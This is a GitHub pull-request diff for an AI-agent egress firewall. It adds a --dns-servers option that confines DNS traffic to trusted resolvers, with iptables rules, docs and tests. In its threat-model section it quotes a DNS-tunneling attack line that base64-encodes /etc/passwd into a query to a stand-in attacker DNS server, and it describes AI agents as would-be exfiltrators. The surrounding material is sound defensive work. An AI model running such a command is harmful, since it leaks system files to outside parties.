Skip to content
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 21 additions & 0 deletions CLAUDE.md
Original file line number Diff line number Diff line change
Expand Up @@ -223,6 +223,27 @@ Containers stopped, temporary files cleaned up
- `.github.com` → matches all subdomains
- Squid denies any domain not in the allowlist

## DNS Configuration

DNS traffic is restricted to trusted DNS servers only to prevent DNS-based data exfiltration:

- **CLI Option**: `--dns-servers <servers>` (comma-separated list of IP addresses)
- **Default**: Google DNS (`8.8.8.8,8.8.4.4`)
- **IPv6 Support**: Both IPv4 and IPv6 DNS servers are supported
- **Docker DNS**: `127.0.0.11` is always allowed for container name resolution

**Implementation**:
- Host-level iptables (`src/host-iptables.ts`): DNS traffic to non-whitelisted servers is blocked
- Container NAT rules (`containers/agent/setup-iptables.sh`): Reads from `AWF_DNS_SERVERS` env var
- Container DNS config (`containers/agent/entrypoint.sh`): Configures `/etc/resolv.conf`
- Docker Compose (`src/docker-manager.ts`): Sets container `dns:` config and `AWF_DNS_SERVERS` env var

**Example**:
```bash
# Use Cloudflare DNS instead of Google DNS
sudo awf --allow-domains github.com --dns-servers 1.1.1.1,1.0.0.1 -- curl https://api.github.com
```

## Exit Code Handling

The wrapper propagates the exit code from the agent container:
Expand Down
13 changes: 13 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -116,8 +116,21 @@ sudo awf \
### What This Protects Against
- Unauthorized egress to non-whitelisted domains
- Data exfiltration via HTTP/HTTPS
- DNS-based data exfiltration to unauthorized DNS servers
- MCP servers accessing unexpected endpoints

### DNS Server Restriction

DNS traffic is restricted to trusted servers only (default: Google DNS 8.8.8.8, 8.8.4.4). This prevents DNS-based data exfiltration attacks where an attacker encodes data in DNS queries to a malicious DNS server.

```bash
# Use custom DNS servers
sudo awf \
--allow-domains github.com \
--dns-servers 1.1.1.1,1.0.0.1 \
-- curl https://api.github.com
```

## Development & Testing

### Running Tests
Expand Down
37 changes: 24 additions & 13 deletions containers/agent/entrypoint.sh
Original file line number Diff line number Diff line change
Expand Up @@ -6,24 +6,35 @@ echo "[entrypoint] =================================="

# Fix DNS configuration - ensure external DNS works alongside Docker's embedded DNS
# Docker's embedded DNS (127.0.0.11) is used for service name resolution (e.g., squid-proxy)
# External DNS servers (8.8.8.8, 8.8.4.4) are used for internet domain resolution
# Trusted external DNS servers are used for internet domain resolution
echo "[entrypoint] Configuring DNS..."
if [ -f /etc/resolv.conf ]; then
# Backup original resolv.conf
cp /etc/resolv.conf /etc/resolv.conf.orig

# Create new resolv.conf with both Docker embedded DNS and external DNS
# Docker's embedded DNS comes first for service discovery
cat > /etc/resolv.conf << EOF
# Generated by awf entrypoint
# Docker embedded DNS for service name resolution (squid-proxy, etc.)
nameserver 127.0.0.11
# External DNS servers for internet domain resolution
nameserver 8.8.8.8
nameserver 8.8.4.4
options ndots:0
EOF
echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and external DNS (8.8.8.8, 8.8.4.4)"
# Get DNS servers from environment (default to Google DNS)
DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}"

# Create new resolv.conf with Docker embedded DNS first, then trusted external DNS servers
{
echo "# Generated by awf entrypoint"
echo "# Docker embedded DNS for service name resolution (squid-proxy, etc.)"
echo "nameserver 127.0.0.11"
echo "# Trusted external DNS servers for internet domain resolution"

# Add each trusted DNS server
IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS"
for dns_server in "${DNS_ARRAY[@]}"; do
dns_server=$(echo "$dns_server" | tr -d ' ')
if [ -n "$dns_server" ]; then
echo "nameserver $dns_server"
fi
done

echo "options ndots:0"
} > /etc/resolv.conf

echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and trusted servers: $DNS_SERVERS"
fi

# Setup Docker socket permissions if Docker socket is mounted
Expand Down
37 changes: 28 additions & 9 deletions containers/agent/setup-iptables.sh
Original file line number Diff line number Diff line change
Expand Up @@ -26,15 +26,34 @@ echo "[iptables] Allow localhost traffic..."
iptables -t nat -A OUTPUT -o lo -j RETURN
iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN

# Allow DNS queries to any DNS server (including Docker's 127.0.0.11 and configured DNS servers)
echo "[iptables] Allow DNS queries..."
iptables -t nat -A OUTPUT -p udp --dport 53 -j RETURN
iptables -t nat -A OUTPUT -p tcp --dport 53 -j RETURN

# Explicitly allow DNS servers configured in the container (8.8.8.8, 8.8.4.4)
echo "[iptables] Allow traffic to DNS servers..."
iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN
iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN
# Get DNS servers from environment (default to Google DNS)
DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}"
echo "[iptables] Configuring DNS rules for trusted servers: $DNS_SERVERS"

# Allow DNS queries ONLY to trusted DNS servers (prevents DNS exfiltration)
IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS"
for dns_server in "${DNS_ARRAY[@]}"; do
dns_server=$(echo "$dns_server" | tr -d ' ')
if [ -n "$dns_server" ]; then
echo "[iptables] Allow DNS to trusted server: $dns_server"
iptables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN
iptables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN
fi
done

# Allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution
echo "[iptables] Allow DNS to Docker embedded DNS (127.0.0.11)..."
iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN
iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN

# Allow return traffic to trusted DNS servers
echo "[iptables] Allow traffic to trusted DNS servers..."
for dns_server in "${DNS_ARRAY[@]}"; do
dns_server=$(echo "$dns_server" | tr -d ' ')
if [ -n "$dns_server" ]; then
iptables -t nat -A OUTPUT -d "$dns_server" -j RETURN
fi
done

# Allow traffic to Squid proxy itself
echo "[iptables] Allow traffic to Squid proxy (${SQUID_IP}:${SQUID_PORT})..."
Expand Down
17 changes: 17 additions & 0 deletions docs-site/src/content/docs/reference/cli-reference.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ awf [options] -- <command>
| `--env-all` | flag | `false` | Pass all host environment variables |
| `-v, --mount <host:container[:mode]>` | string | `[]` | Volume mount (repeatable) |
| `--container-workdir <dir>` | string | User home | Working directory inside container |
| `--dns-servers <servers>` | string | `8.8.8.8,8.8.4.4` | Trusted DNS servers (comma-separated) |
| `-V, --version` | flag | — | Display version |
| `-h, --help` | flag | — | Display help |

Expand Down Expand Up @@ -130,6 +131,22 @@ Mount host directories into container. Format: `host_path:container_path[:ro|rw]

Working directory inside the container.

### `--dns-servers <servers>`

Comma-separated list of trusted DNS servers. DNS traffic is **only** allowed to these servers, preventing DNS-based data exfiltration. Both IPv4 and IPv6 addresses are supported.

```bash
# Use Cloudflare DNS
--dns-servers 1.1.1.1,1.0.0.1

# Use Google DNS with IPv6
--dns-servers 8.8.8.8,2001:4860:4860::8888
```

:::note
Docker's embedded DNS (127.0.0.11) is always allowed for container name resolution, regardless of this setting.
:::

## Exit Codes

| Code | Description |
Expand Down
31 changes: 18 additions & 13 deletions docs-site/src/content/docs/reference/security-architecture.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ This firewall solves a specific problem: **egress control for AI agents running

- **Full filesystem access**: Agents read and write files freely. If your threat model requires filesystem isolation, you need additional controls.
- **Localhost communication**: Required for stdio-based MCP servers running alongside the agent.
- **DNS resolution**: Agents can resolve any domain (though they can't connect to most).
- **DNS to trusted servers only**: DNS queries are restricted to configured DNS servers (default: Google DNS). This prevents DNS-based data exfiltration to attacker-controlled DNS servers.
- **Docker socket access**: The agent can spawn containers—we intercept and constrain them, but the capability exists.

---
Expand Down Expand Up @@ -157,12 +157,13 @@ The agent and its MCP servers see normal Docker behavior; they don't know their
Even with docker-wrapper, we don't fully trust it—an agent could theoretically find the real Docker binary or exploit a wrapper bug. The DOCKER-USER chain provides a backstop:

```bash
# Simplified rules (actual implementation in src/docker-manager.ts)
# Simplified rules (actual implementation in src/host-iptables.ts)
iptables -I DOCKER-USER -i awf-bridge -j FW_WRAPPER
iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT # Squid: unrestricted
iptables -A FW_WRAPPER -p udp --dport 53 -j ACCEPT # DNS allowed
iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT # Traffic to proxy
iptables -A FW_WRAPPER -j DROP # Everything else blocked
iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT # Squid: unrestricted
iptables -A FW_WRAPPER -p udp -d 8.8.8.8 --dport 53 -j ACCEPT # DNS to trusted server
iptables -A FW_WRAPPER -p udp -d 8.8.4.4 --dport 53 -j ACCEPT # DNS to trusted server
iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT # Traffic to proxy
iptables -A FW_WRAPPER -j DROP # Everything else blocked
```

Any container on `awf-net`—whether we created it or the agent spawned it—has its egress filtered. Traffic either goes through Squid or gets dropped.
Expand Down Expand Up @@ -227,17 +228,21 @@ Container joins `awf-net`, egress hits DOCKER-USER, routes through Squid, blocke

### DNS Tunneling

**Attack:** Agent encodes data in DNS queries to `data.attacker.com`:
**Attack:** Agent encodes data in DNS queries to an attacker-controlled DNS server:
```bash
nslookup $(cat /etc/passwd | base64).attacker.com
nslookup $(cat /etc/passwd | base64).attacker.com attacker-dns-server.com
```

**Mitigation:** We allow DNS (UDP/53) because blocking it breaks everything. DNS tunneling is a known limitation. For high-security environments, consider:
- Using a DNS proxy that filters by domain
- Restricting DNS to specific resolvers
- Monitoring DNS query logs for anomalies
**Mitigation:** DNS traffic is restricted to trusted DNS servers only (configurable via `--dns-servers`, default: Google DNS 8.8.8.8, 8.8.4.4). Attempts to query arbitrary DNS servers are blocked at the iptables level.

This is outside our current scope but worth noting for threat models that include sophisticated attackers.
```bash
# The attacker's query to a rogue DNS server is blocked
[FW_BLOCKED_UDP] SRC=172.30.0.20 DST=attacker-dns-server.com DPT=53
```

:::note[Remaining risk]
DNS tunneling through the *allowed* DNS servers (encoding data in query names to attacker-controlled domains) is still theoretically possible, as the trusted DNS server will recursively resolve any domain. For high-security environments, consider using a DNS filtering service or monitoring DNS query logs for anomalies.
:::

---

Expand Down
14 changes: 14 additions & 0 deletions docs/environment.md
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,20 @@ sudo -E awf --allow-domains github.com 'copilot --prompt "..."'
- Working with untrusted code
- In production/CI environments

## Internal Environment Variables

The following environment variables are set internally by the firewall and used by container scripts:

| Variable | Description | Example |
|----------|-------------|---------|
| `AWF_DNS_SERVERS` | Comma-separated list of trusted DNS servers | `8.8.8.8,8.8.4.4` |
| `HTTP_PROXY` | Squid proxy URL for HTTP traffic | `http://172.30.0.10:3128` |
| `HTTPS_PROXY` | Squid proxy URL for HTTPS traffic | `http://172.30.0.10:3128` |
| `SQUID_PROXY_HOST` | Squid container hostname | `squid-proxy` |
| `SQUID_PROXY_PORT` | Squid proxy port | `3128` |

**Note:** These are set automatically based on CLI options and should not be overridden manually.

## Troubleshooting

**Variable not accessible:** Use `sudo -E` or pass explicitly with `--env VAR="$VAR"`
Expand Down
5 changes: 3 additions & 2 deletions src/cli-workflow.ts
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ import { WrapperConfig } from './types';

export interface WorkflowDependencies {
ensureFirewallNetwork: () => Promise<{ squidIp: string }>;
setupHostIptables: (squidIp: string, port: number) => Promise<void>;
setupHostIptables: (squidIp: string, port: number, dnsServers: string[]) => Promise<void>;
writeConfigs: (config: WrapperConfig) => Promise<void>;
startContainers: (workDir: string, allowedDomains: string[]) => Promise<void>;
runAgentCommand: (
Expand Down Expand Up @@ -41,7 +41,8 @@ export async function runMainWorkflow(
// Step 0: Setup host-level network and iptables
logger.info('Setting up host-level firewall network and iptables rules...');
const networkConfig = await dependencies.ensureFirewallNetwork();
await dependencies.setupHostIptables(networkConfig.squidIp, 3128);
const dnsServers = config.dnsServers || ['8.8.8.8', '8.8.4.4'];
await dependencies.setupHostIptables(networkConfig.squidIp, 3128, dnsServers);
onHostIptablesSetup?.();

// Step 1: Write configuration files
Expand Down
88 changes: 87 additions & 1 deletion src/cli.test.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import { Command } from 'commander';
import { parseEnvironmentVariables, parseDomains, parseDomainsFile, escapeShellArg, joinShellArgs, parseVolumeMounts } from './cli';
import { parseEnvironmentVariables, parseDomains, parseDomainsFile, escapeShellArg, joinShellArgs, parseVolumeMounts, isValidIPv4, isValidIPv6, parseDnsServers } from './cli';
import { redactSecrets } from './redact-secrets';
import * as fs from 'fs';
import * as path from 'path';
Expand Down Expand Up @@ -667,4 +667,90 @@ describe('cli', () => {
}
});
});

describe('IPv4 validation', () => {
it('should accept valid IPv4 addresses', () => {
expect(isValidIPv4('8.8.8.8')).toBe(true);
expect(isValidIPv4('1.1.1.1')).toBe(true);
expect(isValidIPv4('192.168.1.1')).toBe(true);
expect(isValidIPv4('0.0.0.0')).toBe(true);
expect(isValidIPv4('255.255.255.255')).toBe(true);
expect(isValidIPv4('10.0.0.1')).toBe(true);
expect(isValidIPv4('172.16.0.1')).toBe(true);
});

it('should reject invalid IPv4 addresses', () => {
expect(isValidIPv4('256.1.1.1')).toBe(false);
expect(isValidIPv4('1.1.1')).toBe(false);
expect(isValidIPv4('1.1.1.1.1')).toBe(false);
expect(isValidIPv4('1.1.1.256')).toBe(false);
expect(isValidIPv4('a.b.c.d')).toBe(false);
expect(isValidIPv4('1.1.1.1a')).toBe(false);
expect(isValidIPv4('')).toBe(false);
expect(isValidIPv4('localhost')).toBe(false);
expect(isValidIPv4('::1')).toBe(false);
});
});

describe('IPv6 validation', () => {
it('should accept valid IPv6 addresses', () => {
expect(isValidIPv6('2001:4860:4860::8888')).toBe(true);
expect(isValidIPv6('2001:4860:4860::8844')).toBe(true);
expect(isValidIPv6('::1')).toBe(true);
expect(isValidIPv6('::')).toBe(true);
expect(isValidIPv6('fe80::1')).toBe(true);
expect(isValidIPv6('2001:db8:85a3::8a2e:370:7334')).toBe(true);
expect(isValidIPv6('2001:0db8:85a3:0000:0000:8a2e:0370:7334')).toBe(true);
});

it('should reject invalid IPv6 addresses', () => {
expect(isValidIPv6('8.8.8.8')).toBe(false);
expect(isValidIPv6('localhost')).toBe(false);
expect(isValidIPv6('')).toBe(false);
expect(isValidIPv6('2001:4860:4860:8888')).toBe(false); // Missing ::
});
});

describe('DNS servers parsing', () => {
it('should parse valid IPv4 DNS servers', () => {
const result = parseDnsServers('8.8.8.8,8.8.4.4');
expect(result).toEqual(['8.8.8.8', '8.8.4.4']);
});

it('should parse single DNS server', () => {
const result = parseDnsServers('1.1.1.1');
expect(result).toEqual(['1.1.1.1']);
});

it('should parse mixed IPv4 and IPv6 DNS servers', () => {
const result = parseDnsServers('8.8.8.8,2001:4860:4860::8888');
expect(result).toEqual(['8.8.8.8', '2001:4860:4860::8888']);
});

it('should trim whitespace from DNS servers', () => {
const result = parseDnsServers(' 8.8.8.8 , 1.1.1.1 ');
expect(result).toEqual(['8.8.8.8', '1.1.1.1']);
});

it('should filter empty entries', () => {
const result = parseDnsServers('8.8.8.8,,1.1.1.1,');
expect(result).toEqual(['8.8.8.8', '1.1.1.1']);
});

it('should throw error for invalid IP address', () => {
expect(() => parseDnsServers('invalid.dns.server')).toThrow('Invalid DNS server IP address');
});

it('should throw error for empty input', () => {
expect(() => parseDnsServers('')).toThrow('At least one DNS server must be specified');
});

it('should throw error for whitespace-only input', () => {
expect(() => parseDnsServers(' , , ')).toThrow('At least one DNS server must be specified');
});

it('should throw error if any server is invalid', () => {
expect(() => parseDnsServers('8.8.8.8,invalid,1.1.1.1')).toThrow('Invalid DNS server IP address: invalid');
});
});
});
Loading
Loading